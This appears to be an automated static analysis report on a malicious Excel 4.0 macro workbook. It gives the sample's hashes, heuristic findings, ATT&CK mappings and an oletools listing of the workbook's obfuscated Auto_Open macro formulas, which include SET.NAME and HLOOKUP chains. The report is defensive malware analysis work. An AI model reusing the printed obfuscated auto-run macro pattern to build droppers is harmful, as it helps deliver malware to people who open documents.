Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a75ca7ee9a146c8f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:51 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 0ece97e49871fa814cefb2afb20257a7 SHA-1: e7b9a27b1af83b2e1be9df036e9152fda9963efa SHA-256: a75ca7ee9a146c8fe0105e3d83f7876bc5d1d71e4934e973d1e7352265a47282
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro, which is a common technique for executing malicious code upon opening the document. The macro sheet contains references to dangerous formula APIs, including RUN, suggesting it is designed to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6540 bytes
SHA-256: 7261826383c565a75743f92e01c4bcaf5df6900a488d3ee19449b8b03d043bd8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pXJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G153 
' 0018     22 LABEL : Cell Value, String Constant - bKZpXXl len=0 
' 0018     20 LABEL : Cell Value, String Constant - Bpeyw len=0 
' 0018     21 LABEL : Cell Value, String Constant - DTOPEM len=0 
' 0018     27 LABEL : Cell Value, String Constant - ermptVAwNAds len=0 
' 0018     25 LABEL : Cell Value, String Constant - JIcONMkeZO len=0 
' 0018     22 LABEL : Cell Value, String Constant - KuzbSxd len=0 
' 0018     26 LABEL : Cell Value, String Constant - LqtomRAvQRr len=0 
' 0018     25 LABEL : Cell Value, String Constant - ogNwtTQpVc len=0 
' 0018     23 LABEL : Cell Value, String Constant - oTnqxmRS len=0 
' 0018     24 LABEL : Cell Value, String Constant - potgXBNyp len=0 
' 0018     25 LABEL : Cell Value, String Constant - qNcnLLlnvT len=0 
' 0018     23 LABEL : Cell Value, String Constant - TAeAAkKe len=0 
' 0018     22 LABEL : Cell Value, String Constant - UMDVGOt len=0 
' 0018     25 LABEL : Cell Value, String Constant - upiyvQgSCp len=0 
' 0018     23 LABEL : Cell Value, String Constant - vjrIYCpA len=0 
' 0018     21 LABEL : Cell Value, String Constant - xGWIrx len=0 
' 0018     21 LABEL : Cell Value, String Constant - xJOAop len=0 
' 0018     23 LABEL : Cell Value, String Constant - xPbYgqBA len=0 
' 0018     27 LABEL : Cell Value, String Constant - YGyxFCwfDhNA len=0 
' 0018     20 LABEL : Cell Value, String Constant - YYVhv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pXJ,P57,"",-960.00000000000000000000
'  pXJ,P58,"",-633.00000000000000000000
'  pXJ,P59,"",-899.00000000000000000000
'  pXJ,P60,"",-641.00000000000000000000
'  pXJ,P61,"",-737.00000000000000000000
'  pXJ,P62,"",801.00000000000000000000
'  pXJ,G66,"SET.NAME("KuzbSxd",0+VALUE("0"))",""
'  pXJ,G70,"SET.NAME("LqtomRAvQRr",KuzbSxd)",""
'  pXJ,G74,"SET.NAME("DTOPEM",KuzbSxd)",""
'  pXJ,G76,"SET.NAME("oTnqxmRS",COUNTA(upiyvQgSCp))",""
'  pXJ,G80,"SET.NAME("JIcONMkeZO",COUNTA(xPbYgqBA))",""
'  pXJ,G82,[],""
'  pXJ,G85,"SET.NAME("UMDVGOt","")",""
'  pXJ,G87,"LqtomRAvQRr",""
'  pXJ,G89,"SET.NAME("ermptVAwNAds",HLOOKUP("*",upiyvQgSCp,LqtomRAvQRr,FALSE))",""
'  pXJ,G94,"xGWIrx",""
'  pXJ,G98,"SET.NAME("YGyxFCwfDhNA",KuzbSxd)",""
'  pXJ,G103,[],""
'  pXJ,G106,"YGyxFCwfDhNA",""
'  pXJ,G109,"TAeAAkKe",""
'  pXJ,G114,"YYVhv",""
'  pXJ,G117,"Bpeyw",""
'  pXJ,G121,"SET.NAME("potgXBNyp",VALUE(HLOOKUP("*",xPbYgqBA,Bpeyw,FALSE)))",""
'  pXJ,G123,"xJOAop",""
'  pXJ,G125,"UMDVGOt",""
'  pXJ,G129,"DTOPEM",""
'  pXJ,G134,NEXT(),""
'  pXJ,G136,"qNcnLLlnvT",""
'  pXJ,G140,[],""
'  pXJ,G145,"vjrIYCpA",""
'  pXJ,G149,NEXT(),""
'  pXJ,G151,RETURN(),""
'  pXJ,G178,"SET.NAME("ogNwtTQpVc",G66)",""
'  pXJ,G182,"upiyvQgSCp",""
'  pXJ,G184,"SET.NAME("xPbYgqBA",R99C14)",""
'  pXJ,G188,"SET.NAME("vjrIYCpA",196)",""
'  pXJ,G190,"SET.NAME("bKZpXXl",7)",""
'  pXJ,G195,ogNwtTQpVc(),""
'  pXJ,G196,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.